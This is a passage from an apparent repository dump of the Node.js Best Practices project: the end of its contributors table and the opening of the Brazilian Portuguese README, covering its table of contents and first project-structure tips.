Smith</b></sub></a><br /><a href=\"#content-Fdawgs\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/rluvaton\"><img src=\"https://avatars.githubusercontent.com/u/16746759?v=4\" width=\"100px;\" alt=\"Raz Luvaton\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Raz Luvaton</b></sub></a><br /><a href=\"#content-rluvaton\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/YA21\"><img src=\"https://avatars.githubusercontent.com/u/37298463?v=4\" width=\"100px;\" alt=\"Yuta Azumi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yuta Azumi</b></sub></a><br /><a href=\"#content-YA21\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/andrewjbarbour\"><img src=\"https://avatars.githubusercontent.com/u/77080074?v=4\" width=\"100px;\" alt=\"andrewjbarbour\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>andrewjbarbour</b></sub></a><br /><a href=\"#content-andrewjbarbour\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://MasujimaRyohei.jp\"><img src=\"https://avatars.githubusercontent.com/u/17163541?v=4\" width=\"100px;\" alt=\"mr\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>mr</b></sub></a><br /><a href=\"#content-MasujimaRyohei\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kubanac95\"><img src=\"https://avatars.githubusercontent.com/u/16191931?v=4\" width=\"100px;\" alt=\"Aleksandar\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Aleksandar</b></sub></a><br /><a href=\"#content-kubanac95\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://vincentjonathan.com\"><img src=\"https://avatars.githubusercontent.com/u/32597776?v=4\" width=\"100px;\" alt=\"Owl\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Owl</b></sub></a><br /><a href=\"#content-SuspiciousLookingOwl\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/yedidyas\"><img src=\"https://avatars.githubusercontent.com/u/36074789?v=4\" width=\"100px;\" alt=\"Yedidya Schwartz\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yedidya Schwartz</b></sub></a><br /><a href=\"#content-yedidyas\" title=\"Content\">🖋</a> <a href=\"#example-yedidyas\" title=\"Examples\">💡</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ariel-diaz\"><img src=\"https://avatars.githubusercontent.com/u/20423540?v=4\" width=\"100px;\" alt=\"ari\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>ari</b></sub></a><br /><a href=\"#content-ariel-diaz\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.koenigthomas.de/\"><img src=\"https://avatars.githubusercontent.com/u/7080389?v=4\" width=\"100px;\" alt=\"Thomas König\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Thomas König</b></sub></a><br /><a href=\"#content-Vispercept\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/coocos\"><img src=\"https://avatars.githubusercontent.com/u/1397804?v=4\" width=\"100px;\" alt=\"Kalle Lämsä\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kalle Lämsä</b></sub></a><br /><a href=\"#content-coocos\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://math.cat\"><img src=\"https://avatars.githubusercontent.com/u/10328430?v=4\" width=\"100px;\" alt=\"Wyatt\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Wyatt</b></sub></a><br /><a href=\"#content-ZhyMC\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://libkhadir.fr\"><img src=\"https://avatars.githubusercontent.com/u/45130488?v=4\" width=\"100px;\" alt=\"KHADIR Tayeb\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>KHADIR Tayeb</b></sub></a><br /><a href=\"#content-tkhadir\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/shankarregmi\"><img src=\"https://avatars.githubusercontent.com/u/7703345?v=4\" width=\"100px;\" alt=\"Shankar Regmi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shankar Regmi</b></sub></a><br /><a href=\"#content-shankarregmi\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/codebyshubham\"><img src=\"https://avatars.githubusercontent.com/u/10389723?v=4\" width=\"100px;\" alt=\"Shubham\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shubham</b></sub></a><br /><a href=\"#content-codebyshubham\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://lucalves.me/\"><img src=\"https://avatars.githubusercontent.com/u/17712401?v=4\" width=\"100px;\" alt=\"Lucas Alves\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Lucas Alves</b></sub></a><br /><a href=\"#content-lucalves\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/benjaminudoh10\"><img src=\"https://avatars.githubusercontent.com/u/9018331?v=4\" width=\"100px;\" alt=\"Benjamin\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Benjamin</b></sub></a><br /><a href=\"#content-benjaminudoh10\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.yjoer.com\"><img src=\"https://avatars.githubusercontent.com/u/47742486?v=4\" width=\"100px;\" alt=\"Yeoh Joer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yeoh Joer</b></sub></a><br /><a href=\"#content-yjoer\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://blog.miigon.net\"><img src=\"https://avatars.githubusercontent.com/u/16161991?v=4\" width=\"100px;\" alt=\"Miigon\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Miigon</b></sub></a><br /><a href=\"#content-Miigon\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://brainstorage.me/Egregor2011\"><img src=\"https://avatars.githubusercontent.com/u/3630318?v=4\" width=\"100px;\" alt=\"Rostislav Bogorad\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Rostislav Bogorad</b></sub></a><br /><a href=\"#content-Egregor2011\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Flouse\"><img src=\"https://avatars.githubusercontent.com/u/1297478?v=4\" width=\"100px;\" alt=\"Flouse\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Flouse</b></sub></a><br /><a href=\"#content-Flouse\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://taranttini.com\"><img src=\"https://avatars.githubusercontent.com/u/6922125?v=4\" width=\"100px;\" alt=\"Tarantini Pereira\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Tarantini Pereira</b></sub></a><br /><a href=\"#content-taranttini\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kzmat\"><img src=\"https://avatars.githubusercontent.com/u/34614358?v=4\" width=\"100px;\" alt=\"Kazuki Matsuo\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kazuki Matsuo</b></sub></a><br /><a href=\"#content-kzmat\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/burkybang\"><img src=\"https://avatars.githubusercontent.com/u/927886?v=4\" width=\"100px;\" alt=\"Adam Smith\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Adam Smith</b></sub></a><br /><a href=\"#content-burkybang\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://codekodo.tistory.com\"><img src=\"https://avatars.githubusercontent.com/u/33795856?v=4\" width=\"100px;\" alt=\"Dohyeon Ko\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Dohyeon Ko</b></sub></a><br /><a href=\"#content-k906506\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/vlad99902\"><img src=\"https://avatars.githubusercontent.com/u/67615003?v=4\" width=\"100px;\" alt=\"Vladislav Legkov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Vladislav Legkov</b></sub></a><br /><a href=\"#content-vlad99902\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://kerolloz.github.io\"><img src=\"https://avatars.githubusercontent.com/u/36763164?v=4\" width=\"100px;\" alt=\"Kerollos Magdy\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kerollos Magdy</b></sub></a><br /><a href=\"#content-kerolloz\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/erez-lieberman-b90b7219/\"><img src=\"https://avatars.githubusercontent.com/u/3277260?v=4\" width=\"100px;\" alt=\"Erez Lieberman\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Erez Lieberman</b></sub></a><br /><a href=\"#content-erezLieberman\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/breno-macedo-ernani-de-s%C3%A1-110223158/\"><img src=\"https://avatars.githubusercontent.com/u/48841329?v=4\" width=\"100px;\" alt=\"Breno Macedo\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Breno Macedo</b></sub></a><br /><a href=\"#content-breno404\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/JFernando122\"><img src=\"https://avatars.githubusercontent.com/u/40414805?v=4\" width=\"100px;\" alt=\"Fernando Flores\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Fernando Flores</b></sub></a><br /><a href=\"#translation-JFernando122\" title=\"Translation\">🌍</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/rafaelconcept/\"><img src=\"https://avatars.githubusercontent.com/u/43880669?v=4\" width=\"100px;\" alt=\"Rafael Brito\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Rafael Brito</b></sub></a><br /><a href=\"#translation-rafaelconcept\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://emiliano-peralta-portfolio.vercel.app/\"><img src=\"https://avatars.githubusercontent.com/u/63617637?v=4\" width=\"100px;\" alt=\"Emiliano Peralta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Emiliano Peralta</b></sub></a><br /><a href=\"#translation-emiperalta\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://lannex.github.io\"><img src=\"https://avatars.githubusercontent.com/u/7369541?v=4\" width=\"100px;\" alt=\"Shin, SJ\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shin, SJ</b></sub></a><br /><a href=\"#content-lannex\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.benjaminforster.com\"><img src=\"https://avatars.githubusercontent.com/u/12589522?v=4\" width=\"100px;\" alt=\"Benjamin Forster\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Benjamin Forster</b></sub></a><br /><a href=\"#content-e-e-e\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/DanieleFedeli\"><img src=\"https://avatars.githubusercontent.com/u/37077048?v=4\" width=\"100px;\" alt=\"Daniele Fedeli\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Daniele Fedeli</b></sub></a><br /><a href=\"#content-DanieleFedeli\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/djob195\"><img src=\"https://avatars.githubusercontent.com/u/17146669?v=4\" width=\"100px;\" alt=\"djob195\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>djob195</b></sub></a><br /><a href=\"#content-djob195\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/antspk\"><img src=\"https://avatars.githubusercontent.com/u/78955792?v=4\" width=\"100px;\" alt=\"antspk\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>antspk</b></sub></a><br /><a href=\"#content-antspk\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://jjy0821.tistory.com/\"><img src=\"https://avatars.githubusercontent.com/u/88075341?v=4\" width=\"100px;\" alt=\"정진영\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>정진영</b></sub></a><br /><a href=\"#content-jjy821\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kkk-cashwalk\"><img src=\"https://avatars.githubusercontent.com/u/91455122?v=4\" width=\"100px;\" alt=\"kkk-cashwalk\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>kkk-cashwalk</b></sub></a><br /><a href=\"#content-kkk-cashwalk\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/apainintheneck\"><img src=\"https://avatars.githubusercontent.com/u/42982186?v=4\" width=\"100px;\" alt=\"apainintheneck\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>apainintheneck</b></sub></a><br /><a href=\"#content-apainintheneck\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/koyanyaroo\"><img src=\"https://avatars.githubusercontent.com/u/9715368?v=4\" width=\"100px;\" alt=\"Fajar Budhi Iswanda\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Fajar Budhi Iswanda</b></sub></a><br /><a href=\"#content-koyanyaroo\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jutiger\"><img src=\"https://avatars.githubusercontent.com/u/97490806?v=4\" width=\"100px;\" alt=\"이주호\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>이주호</b></sub></a><br /><a href=\"#content-jutiger\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/MisterSingh\"><img src=\"https://avatars.githubusercontent.com/u/44462019?v=4\" width=\"100px;\" alt=\"Singh\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Singh</b></sub></a><br /><a href=\"#content-MisterSingh\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Alex-Dumitru\"><img src=\"https://avatars.githubusercontent.com/u/43738450?v=4\" width=\"100px;\" alt=\"Alex Dumitru\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Alex Dumitru</b></sub></a><br /><a href=\"#content-Alex-Dumitru\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/lykhatskyi\"><img src=\"https://avatars.githubusercontent.com/u/18104686?v=4\" width=\"100px;\" alt=\"Anton Lykhatskyi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Anton Lykhatskyi</b></sub></a><br /><a href=\"#content-lykhatskyi\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/EverythingAvailable\"><img src=\"https://avatars.githubusercontent.com/u/81002379?v=4\" width=\"100px;\" alt=\"sangwonlee\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>sangwonlee</b></sub></a><br /><a href=\"#content-EverythingAvailable\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/euberdeveloper\"><img src=\"https://avatars.githubusercontent.com/u/33126163?v=4\" width=\"100px;\" alt=\"Eugenio Berretta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Eugenio Berretta</b></sub></a><br /><a href=\"#content-euberdeveloper\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/soranakk\"><img src=\"https://avatars.githubusercontent.com/u/3930307?v=4\" width=\"100px;\" alt=\"soranakk\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>soranakk</b></sub></a><br /><a href=\"#content-soranakk\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/backend-joonyoung\"><img src=\"https://avatars.githubusercontent.com/u/94430145?v=4\" width=\"100px;\" alt=\"고준영\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>고준영</b></sub></a><br /><a href=\"#content-backend-joonyoung\" title=\"Content\">🖋</a> <a href=\"https://github.com/goldbergyoni/nodebestpractices/commits?author=backend-joonyoung\" title=\"Code\">💻</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/GuilhermePortella\"><img src=\"https://avatars.githubusercontent.com/u/59876059?v=4\" width=\"100px;\" alt=\"Guilherme Portella \"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Guilherme Portella </b></sub></a><br /><a href=\"#content-GuilhermePortella\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.youtube.com/channel/UCBxzOQd2v9wWfiMDrf_RQ7A\"><img src=\"https://avatars.githubusercontent.com/u/18497570?v=4\" width=\"100px;\" alt=\"André Esser\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>André Esser</b></sub></a><br /><a href=\"#content-Esser50K\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ShiChenCong\"><img src=\"https://avatars.githubusercontent.com/u/22486446?v=4\" width=\"100px;\" alt=\"Scc\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Scc</b></sub></a><br /><a href=\"#translation-ShiChenCong\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.mauroaccornero.it\"><img src=\"https://avatars.githubusercontent.com/u/1875822?v=4\" width=\"100px;\" alt=\"Mauro Accornero\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Mauro Accornero</b></sub></a><br /><a href=\"#content-mauroaccornero\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/no-yan\"><img src=\"https://avatars.githubusercontent.com/u/63000297?v=4\" width=\"100px;\" alt=\"no-yan\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>no-yan</b></sub></a><br /><a href=\"#content-no-yan\" title=\"Content\">🖋</a></td>\n    </tr>\n  </tbody>\n</table>\n\n<!-- markdownlint-restore -->\n<!-- prettier-ignore-end -->\n\n<!-- ALL-CONTRIBUTORS-LIST:END -->\n"
  },
  {
    "path": "README.brazilian-portuguese.md",
    "content": "[✔]: assets/images/checkbox-small-blue.png\n\n# Melhores Práticas em Node.js\n\n<h1 align=\"center\">\n  <img src=\"assets/images/banner-2.jpg\" alt=\"Node.js Best Practices\"/>\n</h1>\n\n<br/>\n\n<div align=\"center\">\n  <img src=\"https://img.shields.io/badge/⚙%20Contagem%20de%20Items%20-%2083%20Boas%20Práticas-blue.svg\" alt=\"83 items\"/> <img src=\"https://img.shields.io/badge/%F0%9F%93%85%20Última%20Atualização%20-%20Jun%205%202019-green.svg\" alt=\"Última Atualização: June 5, 2019\"/> <img src=\"https://img.shields.io/badge/%E2%9C%94%20Atualizado%20Para%20Versão%20-%20Node%2012.4.0%20LTS-brightgreen.svg\" alt=\"Atualizado para Node 12.4.0 LTS\"/>\n</div>\n\n<br/>\n\n[![nodepractices](./assets/images/twitter-s.png)](https://twitter.com/nodepractices/) **Siga-nos no Twitter!** [**@nodepractices**](https://twitter.com/nodepractices/)\n\n<br/>\n\nLeia em diferentes idiomas: [![CN](./assets/flags/CN.png)**CN**](./README.chinese.md), [![BR](./assets/flags/BR.png)**BR**](./README.brazilian-portuguese.md), [![RU](./assets/flags/RU.png)**RU**](./README.russian.md), [![PL](./assets/flags/PL.png)**PL**](./README.polish.md), [![JA](./assets/flags/JA.png)**JA**](./README.japanese.md), [![EU](./assets/flags/EU.png)**EU**](./README.basque.md) [(![ES](./assets/flags/ES.png)**ES**, ![FR](./assets/flags/FR.png)**FR**, ![HE](./assets/flags/HE.png)**HE**, ![KR](./assets/flags/KR.png)**KR** and ![TR](./assets/flags/TR.png)**TR** em progresso! )](#translations)\n\n<br/>\n\n###### Construído e mantido pelo nosso [Comitê Diretivo](#comitê-diretivo) e [Colaboradores](#colaboradores)\n\n# Novas Práticas e Notícias\n\n- **Nova Boa Prática:** 4.4: [Evite dados fixos e sementes para teste, adicione os dados no teste](#4-práticas-de-testes-e-qualidade-geral)\n\n- **Nova Boa Prática:** 6.25: [Evite publicar segredos no registro do npm](./sections/security/avoid_publishing_secrets.brazilian-portuguese.md)\n\n- **Nova tradução:** ![BR](./assets/flags/BR.png) [Português Brasileiro](./README.brazilian-portuguese.md) disponível agora, cortesia de [Marcelo Melo](https://github.com/marcelosdm)! ❤️\n\n- **🎊 60,000 estrelas!**: Nosso repo recebeu estrela e a confiança de 60.100 desenvolvedores. Estamos sem palavras\n\n<br/><br/>\n\n# Bem-vindo! 3 Coisas Que Você Precisa Saber\n\n**1. Quando você lê aqui, na verdade você lê alguns dos melhores artigos de Node.js -** este é um resumo e curadoria dos mais bem ranqueados conteúdos sobre as melhores práticas do Node.js.\n\n**2. Esta é a maior coletânea, e está crescendo mais a cada semana -** atualmente, são apresentadas mais de 80 melhores práticas, guias de estilo e dicas de arquitetura. Novas issues e PR são criadas diariamente para manter este livro vivo atualizado. Gostaríamos muito de ver você contribuindo aqui, seja corrigindo algum erro de código ou sugerindo novas e brilhantes ideias. Veja nossas [conquistas aqui](https://github.com/goldbergyoni/nodebestpractices/milestones?direction=asc&sort=due_date&state=open).\n\n**3. A maioria dos tópicos possuem informações adicionais -** perto dos tópicos das melhores práticas, você encontrará o link **🔗Leia Mais** que irá apresentar exemplos de códigos, citações de blogs selecionados e mais informações.\n\n<br/><br/>\n\n## Índice\n\n1. [Práticas de Estrutura de Projeto (5)](#1-práticas-de-estrutura-de-projeto)\n2. [Práticas de Tratamento de Erros (12) ](#2-práticas-de-tratamento-de-erros)\n3. [Práticas de Estilo de Código (13) ](#3-práticas-de-estilo-de-código)\n4. [Práticas de Testes e Qualidade Geral (13) ](#4-práticas-de-testes-e-qualidade-geral)\n5. [Práticas de Produção (19) ](#5-boas-práticas-de-produção)\n6. [Práticas de Segurança (25)](#6-boas-práticas-em-segurança)\n7. [Práticas de Performance (1) (Em Progresso ✍️)](#7-boas-práticas-em-performance)\n\n<br/><br/>\n\n# `1. Práticas de Estrutura de Projeto`\n\n## ![✔] 1.1 Estruture sua solução por componentes\n\n**TL;DR:** A pior armadilha das grandes aplicações é manter uma enorme base de código com centenas de dependências - tal qual as monolíticas, que diminuem a velocidade dos desenvolvedores conforme eles tentam incorporar novos recursos. Em vez disso, particione seu código em componentes, cada um com sua própria pasta ou uma base de código dedicada, e garanta que cada unidade seja mantida pequena e simples. Veja o link ‘Leia Mais’ abaixo, para ver exemplos de estrutura correta de projeto.\n\n**Caso contrário:** Quando desenvolvendo novos recursos, desenvolvedores têm dificuldade para perceber o impacto de suas modificações e temem estragar outros componentes dependentes - deploys se tornam mais lentos e arriscados. Também é considerado mais difícil de escalar quando nenhuma unidade de negócio está separada.\n\n🔗 [**Leia mais: estruture por componentes**](./sections/projectstructre/breakintcomponents.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 1.2 Coloque seus Componentes em Camadas, mantenha o Express dentro de seus limites\n\n**TL;DR:** Cada componente deve conter 'layers' (camadas) - um objeto dedicado para web, lógica e código de acesso a dados. Isso não apenas faz uma separação clara dos interesses, como também facilita significativamente os mocks e testes de sistema. Embora este seja um padrão muito comum, desenvolvedores de API tendem a misturar camadas, passando os objetos da camada Web (req e res do Express) para a lógica de negócios e camadas de dados - isto torna sua aplicação dependente, e acessível apenas pelo Express.\n\n**Caso contrário:** Uma aplicação que misture objetos WEB com outras camadas não podem ser acessadas por códigos de teste, CRON jobs e outras chamadas não oriundas do Express.\n\n🔗 [**Leia Mais: seu app em camadas**](./sections/projectstructre/createlayers.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 1.3 Envolva os utilitários comuns como pacotes npm\n\n**TL;DR:** Em uma grande aplicação, que constitui uma grande base de código, utilidades de características transversais tais como logger, encriptação e afins, devem ser envolvidos pelo seu próprio código e exposto como pacotes npm privados. Isso permite compartilhá-los entre várias bases de código e projetos.\n\n**Caso contrário:** Você deverá criar seu próprio ciclo de implantação e dependência.\n\n🔗 [**Leia Mais: 